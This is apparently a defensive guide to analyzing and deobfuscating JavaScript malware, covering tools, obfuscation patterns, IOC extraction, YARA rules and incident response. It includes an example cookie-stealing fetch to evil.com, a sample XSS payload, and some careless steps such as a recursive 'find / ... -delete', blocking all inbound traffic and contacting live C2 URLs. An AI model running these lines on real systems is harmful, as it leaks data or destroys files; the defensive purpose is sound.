JavaScript Malware Analysis & Deobfuscation
A practical guide to analyzing JavaScript malware, deobfuscating malicious code, and using legitimate tools for defensive threat research.
Static Analysis Tools
| Tool | Installation | Purpose |
|---|---|---|
| js-beautify | npm install -g js-beautify | Deobfuscate and format minified JavaScript |
| Esprima | npm install esprima | JavaScript parser and AST generator |
| JSDetox | Browser-based | Online JavaScript deobfuscator |
| de4js | Browser-based | Decode and analyze obfuscated JavaScript |
| JStillery | npm install jstillery | Advanced JS deobfuscation tool |
| Uglify-JS | npm install uglify-js | Code minification/analysis |
| Node.js REPL | Built-in | Execute and test JavaScript code safely |
Installation & Setup
Install Node.js and npm
# macOS with Homebrew
brew install node
# Ubuntu/Debian
sudo apt update
sudo apt install nodejs npm
# Verify installation
node --version
npm --version
Install Analysis Tools
# Install js-beautify for deobfuscation
npm install -g js-beautify
# Install JStillery for advanced analysis
npm install -g jstillery
# Install Esprima for AST analysis
npm install esprima
# Create analysis project directory
mkdir js-malware-analysis && cd js-malware-analysis
npm init -y
npm install esprima lodash
Browser-based Tools
- JSDetox: https://www.malwareurl.com/jsdetox.html
- de4js: https://lelinhtinh.github.io/de4js/
- BeautifyTools: https://beautifytools.com/javascript-beautifier.php
Common Obfuscation Patterns
String Array Obfuscation
// Example: Obfuscated code with string array
var _0x4a2b = ['string', 'array', 'eval', 'function'];
var _0x3c1f = function() {
return _0x4a2b;
};
eval(_0x3c1f()[2]); // Dynamic eval
Detection: Look for large string arrays, multiple array accesses with hex indices
Base64 Encoding
// Example: Base64 encoded payload
var payload = 'dmFyIHgdPSAxMDA7';
atob(payload); // Decode base64
Detection: Watch for atob(), btoa(), Buffer.from(), regex patterns for base64
Hex/URL Encoding
// Example: Hex-encoded strings
var s = '\x66\x65\x74\x63\x68'; // "fetch"
String.fromCharCode(102, 101, 116, 99, 104); // "fetch"
Detection: Search for \x sequences, fromCharCode(), charCodeAt()
DOM-based XSS Malware
// Example: DOM manipulation for injection
document.body.innerHTML = '<img src=x onerror="alert(1)">';
eval(userInput);
setTimeout(maliciousCode, 1000);
Red flags: innerHTML, eval(), Function(), setTimeout(), setInterval(), event handlers
Static Deobfuscation Techniques
Using js-beautify
# Beautify minified JavaScript from file
js-beautify obfuscated.js > beautified.js
# Beautify with specific indentation
js-beautify --indent-size 2 obfuscated.js
# Beautify from stdin
cat obfuscated.js | js-beautify
# Output as JSON
js-beautify --output beautified.json obfuscated.js
Manual Deobfuscation with Node.js
// Save as analyze.js
const fs = require('fs');
// Read obfuscated file
const code = fs.readFileSync('malware.js', 'utf8');
// Step 1: Replace common obfuscation patterns
let cleaned = code.replace(/\\x([0-9A-Fa-f]{2})/g, (match, hex) => {
return String.fromCharCode(parseInt(hex, 16));
});
// Step 2: Decode base64 strings
cleaned = cleaned.replace(/'([A-Za-z0-9+/=]+)'/g, (match, b64) => {
try {
return "'" + Buffer.from(b64, 'base64').toString() + "'";
} catch (e) {
return match;
}
});
console.log(cleaned);
// Run with: node analyze.js
Extract URLs from Obfuscated Code
# Search for common URL patterns
grep -oE '(https?://|ftp://)[^\s"<>]+' malware.js
# Extract domains only
grep -oE '[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+' malware.js
# Find eval/exec patterns
grep -E 'eval\(|Function\(|setTimeout\(|setInterval\(' malware.js
AST Analysis with Esprima
// Save as ast_analyze.js
const esprima = require('esprima');
const fs = require('fs');
const code = fs.readFileSync('malware.js', 'utf8');
const ast = esprima.parse(code);
// Find all function calls
function findCalls(node) {
if (node.type === 'CallExpression') {
if (node.callee.name) {
console.log('Function call:', node.callee.name);
}
}
for (let key in node) {
if (typeof node[key] === 'object' && node[key] !== null) {
findCalls(node[key]);
}
}
}
findCalls(ast);
// Run with: node ast_analyze.js
Dynamic Analysis Techniques
Sandboxed Execution Environment
# Create isolated Node.js environment for testing
node --check malware.js # Syntax check without execution
# Run code with limited access
node --eval "const code = require('fs').readFileSync('sample.js', 'utf8'); console.log(code.substring(0, 500));"
# Debug mode with V8 inspector
node --inspect-brk malware.js # Debugger listens on localhost:9229
# Then open: chrome://inspect
Proxy Analysis with Burp Suite
# Intercept browser JavaScript requests
# 1. Configure Burp Suite as proxy
# 2. Navigate to target site
# 3. Right-click JS request > Send to Repeater
# 4. Modify and execute with payload
# Export collected scripts
# In Burp: Issues > Export issues > save malicious scripts
Browser Console Inspection
// Common malicious code detection in console:
// Monitor eval() calls
const originalEval = eval;
eval = function(code) {
console.warn('EVAL CALLED WITH:', code);
return originalEval(code);
};
// Monitor DOM manipulation
const originalInnerHTML = Object.getOwnPropertyDescriptor(HTMLElement.prototype, 'innerHTML');
Object.defineProperty(HTMLElement.prototype, 'innerHTML', {
set: function(value) {
console.warn('innerHTML modified:', value);
return originalInnerHTML.set.call(this, value);
}
});
// Monitor fetch calls
const originalFetch = window.fetch;
window.fetch = function(...args) {
console.warn('FETCH TO:', args[0]);
return originalFetch.apply(this, args);
};
Extract Network Calls
# Capture network traffic with tcpdump
sudo tcpdump -i any -A -s 0 'tcp port 80 or tcp port 443' | grep -v 'ack' | head -20
# Monitor HTTP/HTTPS with mitmproxy
mitmproxy -p 8080 # Intercept and inspect all traffic
# Analyze with Wireshark
wireshark # GUI network analyzer
Threat Intelligence Integration
Check Against Known Malware Databases
# VirusTotal API - check file hash
curl -X GET "https://www.virustotal.com/api/v3/files/SHA256_HASH" \
-H "x-apikey: YOUR_API_KEY"
# AlienVault OTX - query indicators
curl https://otx.alienvault.com/api/v1/indicators/url/YOUR_URL/general
# AbuseIPDB - check malicious IPs
curl -X GET 'https://api.abuseipdb.com/api/v2/check' \
-d 'ipAddress=IP_ADDRESS' \
-H 'Key: YOUR_API_KEY' \
-H 'Accept: application/json'
Extract IOCs (Indicators of Compromise)
# Extract all URLs from JavaScript
grep -oE '(https?://|ftp://)[a-zA-Z0-9._/?=#&+-]+' malware.js | sort -u
# Find IP addresses
grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' malware.js
# Find email addresses
grep -oE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' malware.js
# Find command and control domains
grep -iE '(c2|command|control|beacon|callback)' malware.js | head -20
Create Indicators of Compromise (IOC) Report
{
"file_hash_md5": "hash_value",
"file_hash_sha256": "hash_value",
"urls": ["http://malicious.com/payload"],
"ips": ["192.168.1.100"],
"domains": ["evil.ru", "payload.net"],
"emails": ["attacker@evil.ru"],
"detection_time": "2025-03-30T12:00:00Z",
"malware_family": "Trojan.JS.Stealer",
"severity": "high"
}
Common Analysis Workflows
Quick Analysis Workflow
#!/bin/bash
# analyze_sample.sh - Quick malware analysis script
SAMPLE="$1"
echo "[*] Analyzing: $SAMPLE"
# Step 1: File type check
echo "[+] File type:"
file "$SAMPLE"
# Step 2: Beautify
echo "[+] Beautifying code..."
js-beautify "$SAMPLE" > "${SAMPLE}.beautified.js"
# Step 3: Extract URLs
echo "[+] Extracting URLs:"
grep -oE '(https?://|ftp://)[^\s"<>]+' "$SAMPLE" | sort -u
# Step 4: Find dangerous patterns
echo "[+] Dangerous patterns found:"
grep -E 'eval\(|Function\(|innerHTML|appendChild|XMLHttpRequest' "$SAMPLE" | head -10
# Step 5: Extract strings
echo "[+] Strings (first 50):"
strings "$SAMPLE" | head -50
echo "[+] Analysis complete. Beautified file saved to: ${SAMPLE}.beautified.js"
Deep Inspection Workflow
#!/bin/bash
# deep_analysis.sh - Comprehensive malware analysis
SAMPLE="$1"
REPORT_DIR="analysis_report_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$REPORT_DIR"
# 1. Hash the sample
echo "[+] Computing hashes..."
md5sum "$SAMPLE" > "$REPORT_DIR/hashes.txt"
sha256sum "$SAMPLE" >> "$REPORT_DIR/hashes.txt"
# 2. Deobfuscate
js-beautify "$SAMPLE" > "$REPORT_DIR/beautified.js"
# 3. Extract all indicators
echo "[+] Extracting indicators..."
{
echo "=== URLS ==="
grep -oE '(https?://|ftp://)[^\s"<>]+' "$SAMPLE" | sort -u
echo ""
echo "=== IP ADDRESSES ==="
grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' "$SAMPLE" | sort -u
echo ""
echo "=== DOMAINS ==="
grep -oE '[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+' "$SAMPLE" | sort -u
} > "$REPORT_DIR/indicators.txt"
# 4. Analyze AST
node -e "
const fs = require('fs');
const code = fs.readFileSync('$SAMPLE', 'utf8');
try {
const esprima = require('esprima');
const ast = esprima.parse(code);
console.log(JSON.stringify(ast, null, 2));
} catch (e) {
console.log('AST parsing failed:', e.message);
}
" > "$REPORT_DIR/ast.json" 2>&1
# 5. Generate report
echo "[+] Report generated in: $REPORT_DIR"
ls -lah "$REPORT_DIR"
Signature-based Detection
# Create simple YARA rule for JS malware
cat > js_malware.yar << 'EOF'
rule suspicious_javascript {
meta:
description = "Detects suspicious JavaScript patterns"
author = "Analyst"
strings:
$eval = "eval("
$func = "Function("
$innerHTML = "innerHTML"
$fetch = "fetch("
$setTimeout = "setTimeout("
$baseurl = "http://" nocase
condition:
any of ($eval, $func, $innerHTML) and any of ($fetch, $baseurl)
}
EOF
# Install YARA
sudo apt-get install yara
# Scan with YARA
yara js_malware.yar malware.js
Advanced Deobfuscation Techniques
String Array Reconstruction
// Save as reconstruct_strings.js
const fs = require('fs');
const code = fs.readFileSync('obfuscated.js', 'utf8');
// Find string array definition
const arrayMatch = code.match(/var\s+\w+\s*=\s*\[(.*?)\]/s);
if (arrayMatch) {
// Parse the array
const strings = arrayMatch[1].split(',').map(s => {
return s.trim().slice(1, -1); // Remove quotes
});
console.log('Extracted strings:');
strings.forEach((str, i) => {
console.log(`[${i}]: ${str}`);
});
}
Common Obfuscator Patterns
# Detect obfuscator.io pattern
grep -l "obfuscator" malware.js
# Detect JSFuck or similar
grep -E '!!.*?\[\].*?\{\}' malware.js
# Detect Beautified obfuscation
grep -E '_0x[a-f0-9]+' malware.js
# Detect base64 payloads
grep -E 'atob|Buffer\.from.*base64' malware.js
Context-Aware Deobfuscation
// Simulate obfuscated function calls safely
const sandbox = {
console: console,
String: String,
parseInt: parseInt,
atob: atob,
decodeURIComponent: decodeURIComponent,
// Add more safe functions as needed
};
const obfuscatedCode = `
var result = atob('aGVsbG8gd29ybGQ=');
console.log(result);
`;
// Execute in safer context (Node.js only)
const vm = require('vm');
const context = vm.createContext(sandbox);
vm.runInContext(obfuscatedCode, context);
Remediation & Defense
Content Security Policy (CSP) Analysis
# Extract CSP from web responses
curl -I https://example.com | grep -i "Content-Security-Policy"
# Test CSP violations
# In browser console:
# fetch('http://evil.com/steal', {method: 'POST', body: document.cookie})
# Should be blocked if CSP is properly configured
Securing Web Applications
// Prevent inline script execution
const config = {
'script-src': ["'self'", 'https://trusted-cdn.com'],
'object-src': ["'none'"],
'base-uri': ["'self'"],
'form-action': ["'self'"],
'frame-ancestors': ["'none'"],
'upgrade-insecure-requests': []
};
// Always sanitize user input
const sanitizeInput = (input) => {
const div = document.createElement('div');
div.textContent = input; // Never innerHTML
return div.innerHTML;
};
// Use DOMPurify for HTML sanitization
// <script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.0/dist/purify.min.js"></script>
const clean = DOMPurify.sanitize(userContent);
Incident Response Steps
# 1. Isolate affected systems
sudo iptables -A INPUT -j DROP # Block all inbound
# 2. Preserve evidence
tar czf evidence_$(date +%s).tar.gz /var/log /home /tmp
# 3. Kill malicious processes
ps aux | grep -E 'eval|setTimeout|fetch'
# 4. Remove malicious files
find / -name "*malware*" -type f -delete
# 5. Scan system for backdoors
sudo aide --check
# 6. Review web server logs
tail -f /var/log/apache2/access.log | grep -E 'eval|shell|cmd'
Environment Setup for Analysis
| Variable | Purpose | Example |
|---|---|---|
NODE_ENV | Set analysis environment | NODE_ENV=production node malware.js |
NODE_PATH | Module search path | NODE_PATH=/usr/lib/node_modules |
DEBUG | Enable debug output | DEBUG=* node analyze.js |
PROXY | Set proxy for network analysis | PROXY=http://localhost:8080 |
VIRUSTOTAL_API_KEY | VirusTotal API authentication | export VIRUSTOTAL_API_KEY=your_key |
BURP_PROXY | Burp Suite proxy | http://localhost:8080 |
Set up analysis environment
# Create isolated workspace
mkdir -p ~/malware-analysis/{samples,reports,tools}
cd ~/malware-analysis
# Initialize Node.js project
npm init -y
npm install esprima lodash
# Create .env file for sensitive data
cat > .env << 'EOF'
VIRUSTOTAL_API_KEY=your_api_key_here
ABUSE_IP_DB_KEY=your_key_here
PROXY=http://localhost:8080
EOF
# Load environment
source .env
Analysis Configuration
Create Analysis Profile
# ~/.malware-analysis/config.yaml
analysis:
name: "JavaScript Malware Analysis"
version: "1.0"
# Static analysis options
static:
beautify: true
extract_strings: true
extract_urls: true
detect_patterns: true
# Dynamic analysis options
dynamic:
sandbox_enabled: true
max_memory: "512M"
timeout: "30s"
# Threat intelligence options
intel:
virustotal_enabled: true
abuse_ipdb_enabled: true
alienvault_enabled: true
# Output options
output:
format: "json"
save_beautified: true
generate_report: true
report_dir: "./reports"
# Security options
security:
disable_network: true
disable_file_access: true
disable_eval: true
Sample Analysis Config
# Create sample scanning configuration
cat > scan-config.json << 'EOF'
{
"enabled_scans": [
"url_extraction",
"pattern_detection",
"obfuscation_analysis",
"network_indicators"
],
"dangerous_patterns": [
"eval(",
"Function(",
"innerHTML",
"appendChild",
"XMLHttpRequest",
"fetch(",
"setTimeout",
"setInterval"
],
"safe_execution": true,
"timeout_ms": 30000
}
EOF
Real-World Analysis Examples
Example 1: Analyzing Obfuscated Stealer
# Download suspicious script
wget http://suspicious-domain.com/script.js
# Step 1: Check file type
file script.js
# Step 2: Extract initial strings
strings script.js | head -20
# Step 3: Beautify
js-beautify script.js > script.beautified.js
# Step 4: Analyze the beautified version
grep -E '(base64|atob|fetch|XMLHttpRequest)' script.beautified.js
# Step 5: Check VirusTotal
wget https://www.virustotal.com/gui/search/$(sha256sum script.js | awk '{print $1}')
Example 2: Detecting XSS Payload
# Find webpage with suspected XSS
wget https://vulnerable-app.com/page.html
# Extract all JavaScript
grep -o '<script[^>]*>.*</script>' page.html > scripts.txt
# Analyze each script
for script in scripts.txt; do
js-beautify "$script" | grep -E 'innerHTML|appendChild|eval'
done
Example 3: Extracting Command & Control
# Analyze script for C2 communication
cat malware.js | grep -oE '(https?://|ws://)[^\s"]+' > c2_urls.txt
# Check each URL
while read url; do
echo "Testing: $url"
curl -v "$url" 2>&1 | head -20
done < c2_urls.txt
# Verify with threat intelligence
for url in $(cat c2_urls.txt); do
curl -s "https://urlhaus-api.abuse.ch/v1/urls/query/?search=$url" | jq .
done
Example 4: Batch Analysis Script
#!/bin/bash
# batch_analyze.sh - Analyze multiple samples
SAMPLE_DIR="./samples"
REPORT_DIR="./reports_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$REPORT_DIR"
for sample in "$SAMPLE_DIR"/*.js; do
echo "[*] Analyzing: $sample"
filename=$(basename "$sample")
# Beautify
js-beautify "$sample" > "$REPORT_DIR/${filename}.beautified.js"
# Extract indicators
{
echo "=== File: $filename ==="
echo "=== SHA256 ==="
sha256sum "$sample"
echo ""
echo "=== URLs ==="
grep -oE 'https?://[^\s"<>]+' "$sample" | sort -u
echo ""
echo "=== Dangerous Patterns ==="
grep -E 'eval|Function|innerHTML|fetch' "$sample" | head -5
} >> "$REPORT_DIR/summary.txt"
done
echo "[+] Analysis complete: $REPORT_DIR"
Best Practices for Malware Analysis
Safe Analysis
- Always analyze in isolated/sandboxed environments
- Never execute unknown JavaScript directly
- Use VM snapshots for malware testing
- Disable network access during analysis
- Run analysis with minimal privileges
- Document all findings with timestamps
- Preserve original samples with checksums
- Use version control for analysis notes
Evidence Preservation
- Create write-protected copies of samples
- Document chain of custody
- Maintain detailed analysis logs
- Preserve network traffic captures
- Store IRC/C2 communication logs
- Back up findings separately
- Use immutable storage when possible
- Archive old analysis reports
Threat Intelligence
- Share IOCs with security community
- Report to abuse contacts
- Contribute to public databases (VirusTotal)
- Track malware families and variants
- Monitor for similar samples
- Document attack patterns
- Correlate with known campaigns
- Update detection signatures
Legal Considerations
- Only analyze samples you have authorization for
- Follow responsible disclosure practices
- Report serious threats to authorities
- Respect intellectual property rights
- Document analysis for legal proceedings
- Maintain analyst confidentiality
- Know local computer fraud laws
- Get written authorization before testing systems
Resources
Deobfuscation Tools
- js-beautify - Formatting and deobfuscation
- JSDetox - Online JavaScript analyzer
- de4js - JavaScript deobfuscator
- Esprima - JavaScript parser for AST analysis
- JStillery - Advanced deobfuscation
Analysis Platforms
- VirusTotal - Multi-engine malware scanner
- URLhaus - Database of malicious URLs
- PhishTank - Phishing site database
- AbuseIPDB - Malicious IP database
- AlienVault OTX - Open threat intelligence
Static Analysis
- YARA Rules - Malware signature rules
- Sigma Rules - Generic detection rules
- ClamAV - Open-source antivirus engine
Dynamic Analysis
- Burp Suite - Web proxy and analyzer
- mitmproxy - Interactive HTTPS proxy
- Wireshark - Network protocol analyzer
Learning Resources
- OWASP Top 10 - Web security risks
- Rapid7 Vulnerability Database - Exploit database
- HackTricks - Pentesting guide
- SANS Internet Storm Center - Security news and analysis
Community & Forums
- Reddit r/malware - Malware research community
- Stack Exchange Security - Security Q&A
- GitHub Security Research - Open research
Last updated: 2026-03-30